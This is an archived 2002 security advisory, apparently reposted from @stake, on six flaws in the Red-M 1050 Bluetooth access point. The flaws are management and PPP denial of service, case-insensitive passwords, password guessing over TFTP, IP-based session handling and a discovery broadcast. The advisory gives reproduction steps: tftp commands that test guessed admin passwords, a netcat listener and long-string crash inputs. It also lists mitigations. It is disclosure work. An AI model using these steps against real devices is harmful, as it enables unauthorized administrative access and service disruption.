10th Jun 2002 [SBWID-5414]
COMMAND
Multiple Red-M 1050 Blue Tooth Access Point Vulnerabilities
SYSTEMS AFFECTED
Red-M 1050AP (Bluetooth Access Point)
1050AP boot v01.03.16
1050AP loader v02.01.26
1050AP software v02.00.26
PROBLEM
In @stake, Inc [http://www.atstake.com] Security Advisory, Ollie
Whitehouse [ollie@atstake.com] reported following bugs:
Issues: Red-M 1050 Access Point Management Web Server DoS
Red-M 1050 Access Point Case Insensitive Passwords
Red-M 1050 Access Point TFTP Server Based Password Attack
Red-M 1050 Access Point Management Session State Storage
Red-M 1050 Access Point Device Existence Broadcast
Red-M 1050 Access Point PPP Denial of Service
Overview
========
Red-M\'s (http://www.red-m.com) 1050AP (Bluetooth Access Point) is the
device which exists between legacy Ethernet networks and Bluetooth
1.0/1.1 compatible devices looking to obtain IP network access.
Red-M\'s device is currently the only device which supports piconet
(multiple Bluetooth clients to one access point).
A number of vulnerabilities exist, which are outlined below, that could
enable an attacker on the wired or wireless side of the device to mount
an attack against the device in an attempt to locate the device, cause
loss of administration functionality or compromise the administration
interface.
[1] Red-M 1050 Access Point Management Web Server DoS
------------------------------------------------------
The 1050AP device provides a web based management interface to allow
configuration of the device. This web based management system has no
concept of authorised or unauthorised hosts and is simply protected by
a password over an unencrypted connection.
There exists a vulnerability in the web server that runs on the 1050AP
that potentially allows an attacker to disable the web server
completely until the device is restarted (physically).
[2] Red-M 1050 Access Point Case Insensitive passwords
------------------------------------------------------
Another existing vulnerability in the AP is that the administration
password is not case sensitive. This combined with the fact that the
maximum password length is 16 chars (documented) and can only be a-z,
0-9 (@stake testing) greatly reduces the number of passwords which can
be used and thus reduces cracking time.
[3] Red-M 1050 Access Point TFTP Sever Based Password Attack
-------------------------------------------------------------
In addition, the AP provides a tftp server for configuration backups
and firmware updates. This tftp server can not be disabled and can be
used by an attacker to crack the administration password using a UDP
based attack. This combined with the above can provide an effective way
of cracking the administration password in a short time by either
dictionary or brute force methods.
[4] Red-M 1050 Access Point Management Session State Storage
-------------------------------------------------------------
Their exists another vulnerability within the administration web
interface. When you login with the admin password to the web interface,
no cookie, session ID or basic authentication data are passed. No data
is passed from either the client to server or server to the client in
response to maintain state of the current session. The server simply
remembers that your IP successfully logged in until the session expires
and/or you click the logout button. This method of maintaining state
suffers from a number of attacks:
I) You connect to the device via a proxy; then any user who uses
the same proxy can connect to the admin interface already
authenticated.
II) You connect to the device via a firewall which does NAT/PAT; then,
as above, anyone who is NAT\'d behind the same IP can get access to
the admin interface.
III) A number of other IP/Layer2 based attacks for traffic
redirection or forged packets are possible.
This combined with the fact that when changing the administration
password, the device does not ask for the current password. This means
that an Administrator can effectivly be locked out of the device by an
attacker sucessfully exploiting this vulnerability.
[5] Red-M 1050 Access Point Device Existence Broadcast
-------------------------------------------------------
The device broadcasts its name via UDP to the broadcast address
(255.255.255.255). So to detect a Red-M AP active on the network simply
listen on UDP port 8887, and every minute or so a broadcast will occur
which delivers the following information: the AP\'s current name, IP
address, netmask, serial number and aerial address.
[6] Red-M 1050 Access Point PPP Denial of Service
--------------------------------------------------
Finally, it is possible for an attacker who is bonded to cause a denial
of service within the AP. Each attempt to connect thereafter will not
work, simply generating an error of \'Unable to establish a
connection\' within the Microsoft dial-up connection dialog box.
Details
=======
It should be noted that although a number of issues are listed as
DoS-only, this is only limited by the fact that during the assessment
of the device @stake was unable to gain access to the debugging
interface to enable the successfull exploitation of the vulnerabilities
(be they buffer or heap overflows).
[1] Red-M 1050 Access Point Management Web Server DoS
-----------------------------------------------------
Connect to the web interface and enter a long string for the
administration password. Click \'OK\'. You will get a connect error on
the page refresh and the web server will be dead until you power down
the device and restart it physically.
[2] Red-M 1050 Access Point Case Insensitive passwords
------------------------------------------------------
The same file was requested twice using the different cases. In each
case the same file was returned. This can also be demonstrated within
the web interface by attempting to log-in with either the real password
or a the same password but using a different case (e.g. AbCdEf instead
of abcdef).
C:\\>tftp -i 192.168.1.253 get FLASH_Database-abcdef
Transfer successful: 381 bytes in 2 seconds, 190 bytes/s
C:\\>tftp -i 192.168.1.253 get FLASH_Database-AbCdEf FLASH_Second
Transfer successful: 381 bytes in 3 seconds, 127 bytes/s
C:\\>fc FLASH_Database-abcdef FLASH_Second
Comparing files FLASH_Database-abcdef and FLASG_Second
FC: no differences encountered
<§font>
[3] Red-M 1050 Access Point TFTP Sever Based Password Attack
-------------------------------------------------------------
Simply execute the following command replacing the <password> tag with the
attempted password.
tftp -i 192.168.1.1 get FLASH_Database-<password>
[4] Red-M 1050 Access Point Management Session State Storage
------------------------------------------------------------
A simple way to demonstrate this vulnerability is to use one browser
(such as IE) and authenticate with the management interface. Then load
a different browser (such as Netscape) and then type in the address of
the AP. You will be presented with the pre-authenticated administrative
interface on the AP.
[5] Red-M 1050 Access Point Device Existence Broadcast
-------------------------------------------------------
Use a tool such as netcat to listen on port UDP/8887 (i.e. nc -u -L -p
8887
-o output). Every 30 seconds a new entry will be made in the log file similar
to the one below:
< 00000000 2c 01 be ba c0 a8 01 fd ff ff ff 00 00 02 81 64 # &....2.........d
< 00000010 00 56 02 06 08 01 00 00 00 0d 01 57 6f 6c 6c 79 # .V.........Wolly
< 00000020 57 6f 72 6c 64 00 # World.
A break down of the packet is as follows:
[bytes 1] Length of data segment of packet
[bytes 2 to 4] Unknown
[bytes 5 to 8] IP address of device
[bytes 9 to 12] Subnet mask of device
[bytes 13 to 15] Serial Number*
[bytes 16 to 18] Bluetooth Address*
[byte 19] Is the device configured (01 = no / 02 = yes)
[bytes 20 to 27] Unknown
[bytes 28 to LEN-1] Access point name
The above packet is how Red-M\'s own set up program knows of the AP\'s
existence on the network.
* [bytes 13 to 18] the aerial address
[6] Red-M 1050 Access Point PPP Denial of Service
--------------------------------------------------
Bond and then connect with the AP. When prompted for the PPP username
for the link enter a very long username.
SOLUTION
Upgrade your firmware to the latest release. In addition follow the
steps outlined below to mitigate the current design vulnerabilities.
Typically, wireless access points to the network should be considered
hostile networks. In the case of the above vulnerabilities a packet
filtering device should be placed between the Ethernet interface of the
AP and the corporate network restricting the types of traffic and from
which hosts communication destined for the AP can come from. However
this will still expose the device to attacks from the wireless side of
the device. To guard against these attacks, ensure that good username
and password policies are in place. However, consider the limitations
of the username and passwords in the 1050AP. Strong passwords may not
be possible. From @stake\'s testing, usernames and passwords can only
be [a-z] and [0-9] within the device\'s PPP authentication mechanism.
The 1050AP does provide a number of other mechanisms to protect against
being discovered and to protect against automatic connections. For
details of these please refer to the vendor\'s documentation. It is
@stake\'s recommendation that the following options are used:
[Option] [Suggested Setting]
Authentication: Authentication with bonding
Force encryption: Check box
Accessibility mode: Connectable and non discoverable
PPP authentication: Check box
Automatically authorize: Uncheck box
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